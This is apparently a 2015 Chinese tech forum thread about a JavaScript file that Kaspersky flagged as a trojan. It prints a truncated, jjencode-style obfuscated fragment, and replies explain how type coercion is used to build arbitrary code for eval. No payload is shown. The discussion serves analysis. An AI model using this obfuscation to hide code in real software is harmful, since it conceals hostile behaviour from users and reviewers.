This topic created in 4156 days ago, the information mentioned may be changed or developed.
打开一个网址,卡巴报毒,是个js文件,代码古怪的很:
$=~[];
$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};
$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+......
没认出来是啥意思
Supplement 1 · Jan 23, 2015
搜索还发现杀软对这个木马报毒了:
ALYac,Ad-Aware,AhnLab-V3,BitDefender,DrWeb,F-Secure,GData,Ikarus,Kaspersky,MicroWorld-eScan,NANO-Antivirus,nProtect,Emsisoft,F-Secure,DrWeb,AhnLab-V3。
我觉的选杀软的时候可以在这里面挑了。
5 replies • 2015-01-23 05:54:33 +08:00
 |
|
3
efi Jan 23, 2015 1
一行一行看下去,最后肯定有一个eval()。
|
 |
|
4
Sunyanzi Jan 23, 2015 2
基本的原理解释 ...
JavaScript 的六种数据类型里 ... 五种简单类型在转化为字符串时都会保持原样 ...
比如 ![] 这个值在 JavaScript 里面是布尔 false ... 转化为字符串之后是字符串 false ...
!"" 这个值在 JavaScript 里面是布尔 true ... 同样被转化为字符串 true ... undefined 也同理 ...
唯一的复杂类型转化为字符串是 [ object ** ] ... 其中 ** 是对象名 ...
这些字符串里包含了足够多的字母和符号 ...
而 ~[] 这个值在 JavaScript 里面是 -1 ... 之后可以一直自增得到无穷多的连续整数 ...
然后通过取字符串指定位置的字母 ... 再用这些字母组成更复杂的结构 ...
可以获取所有可输入的字符 ... 剩下的事情就只剩用这些字符拼出命令了 ...
这不是一种加密 ... 只是一种比较高级的混淆而已 ...
而且我记得应该是有现成的工具可以把代码转化成这样的 ... 但忘了是在哪里看到的了 ...
|
 |
|
5
typcn Jan 23, 2015 1
估计就是上次那个 IE 0Day ,早被修复了。 不是 eval 只是互换了而已,类似 google 搜 js obfuscator 得到的结果 至于杀毒软件,我永远不会装
|